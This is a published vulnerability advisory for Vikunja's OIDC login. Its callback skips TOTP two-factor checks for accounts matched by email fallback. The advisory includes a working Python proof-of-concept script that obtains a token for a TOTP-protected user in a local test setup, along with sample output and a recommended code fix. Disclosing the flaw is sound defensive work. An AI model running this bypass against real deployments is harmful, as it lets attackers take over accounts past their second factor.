PT-2026-31944 · Go+1 · Code.Vikunja.Io/Api+1
Published
2026-04-10
·
Updated
2026-04-10
·
CVE-2026-34727
CVSS v3.1
7.4
High
| AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N |
Summary
The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.
Details
The OIDC callback at
pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:return auth.NewUserAuthTokenResponse(u, c, false)
There are zero references to TOTP in the entire
pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:totpEnabled, err := user2.TOTPEnabledForUser(s, user)
if totpEnabled {
if u.TOTPPasscode == "" {
= s.Rollback()
return user2.ErrInvalidTOTPPasscode{}
}
, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{
User: user,
Passcode: u.TOTPPasscode,
})
When OIDC
EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.Proof of Concept
Tested on Vikunja v2.2.2 with Dex as the OIDC provider.
Setup:
- Vikunja configured with
emailfallback: truefor Dex - Local user
alice(id=1) has TOTP enabled
import requests, re, html
from urllib.parse import parse qs, urlparse
TARGET = "http://localhost:3456"
DEX = "http://localhost:5556"
API = f"{TARGET}/api/v1"
# verify TOTP is required for local login
r = requests.post(f"{API}/login",
json={"username": "alice", "password": "Alice1234!"})
print(f"Local login without TOTP: {r.status code} code={r.json().get('code')}")
# Output: 412 code=1017 (TOTP required)
# login via OIDC (same flow as VIK-020 PoC)
s = requests.Session()
r = s.get(f"{DEX}/dex/auth?client id=vikunja"
f"&redirect uri={TARGET}/auth/openid/dex"
f"&response type=code&scope=openid+profile+email&state=x")
action = html.unescape(re.search(r'action="([^"]*)"', r.text).group(1))
if not action.startswith("http"): action = DEX + action
r = s.post(action, data={"login": "alice@test.com", "password": "password"},
allow redirects=False)
approval url = DEX + r.headers["Location"]
r = s.get(approval url)
req = re.search(r'name="req" value="([^"]*)"', r.text).group(1)
r = s.post(approval url, data={"req": req, "approval": "approve"},
allow redirects=False)
code = parse qs(urlparse(r.headers["Location"]).query)["code"][0]
resp = requests.post(f"{API}/auth/openid/dex/callback",
json={"code": code, "redirect url": f"{TARGET}/auth/openid/dex"})
print(f"OIDC login: {resp.status code}")
user = requests.get(f"{API}/user",
headers={"Authorization": f"Bearer {resp.json()['token']}"}).json()
print(f"User: id={user['id']} username={user['username']}")
# TOTP was completely bypassed
Output:
Local login without TOTP: 412 code=1017
OIDC login: 200
User: id=1 username=alice
Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.
Impact
When an administrator enables OIDC with
EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing
email verified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.Recommended Fix
Add a TOTP check in the OIDC callback before issuing the JWT:
totpEnabled, err := user.TOTPEnabledForUser(s, u)
if err != nil {
= s.Rollback()
return err
}
if totpEnabled {
= s.Rollback()
return echo.NewHTTPError(http.StatusForbidden,
"TOTP verification required. Please use the local login endpoint.")
}
return auth.NewUserAuthTokenResponse(u, c, false)
Found and reported by aisafe.io
Fix
Improper Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Code.Vikunja.Io/Api
Vikunja